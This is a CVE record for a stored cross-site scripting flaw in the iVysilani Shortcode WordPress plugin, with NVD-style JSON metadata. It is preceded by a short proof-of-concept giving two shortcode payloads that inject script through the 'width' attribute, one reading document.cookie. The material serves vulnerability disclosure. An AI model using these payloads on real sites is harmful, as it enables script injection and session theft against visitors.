CVE-2026-1851

<!-- PoC for CVE-2026-1851 --> <!-- Usage: Add the following shortcode to a page/post as a Contributor user --> [iVysilani width="600px" onmouseover="alert(document.cookie)"] <!-- Alternative payload to break out of the attribute context --> [iVysilani width="><script>alert('XSS')</script>"]

{"cve": {"id": "CVE-2026-1851", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:55.157", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The iVysilani Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'width' shortcode attribute in all versions up to, and including, 3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin iVysilani Shortcode para WordPress es vulnerable a cross-site scripting almacenado a través del atributo de shortcode 'width' en todas las versiones hasta la 3.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ivysilani-shortcode/tags/3.0/ivysilani-shortcode.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ivysilani-shortcode/trunk/ivysilani-shortcode.php#L65", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/ivysilani-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/25fc2600-9b57-405e-9956-b55291161700?source=cve", "source": "[email protected]"}]}}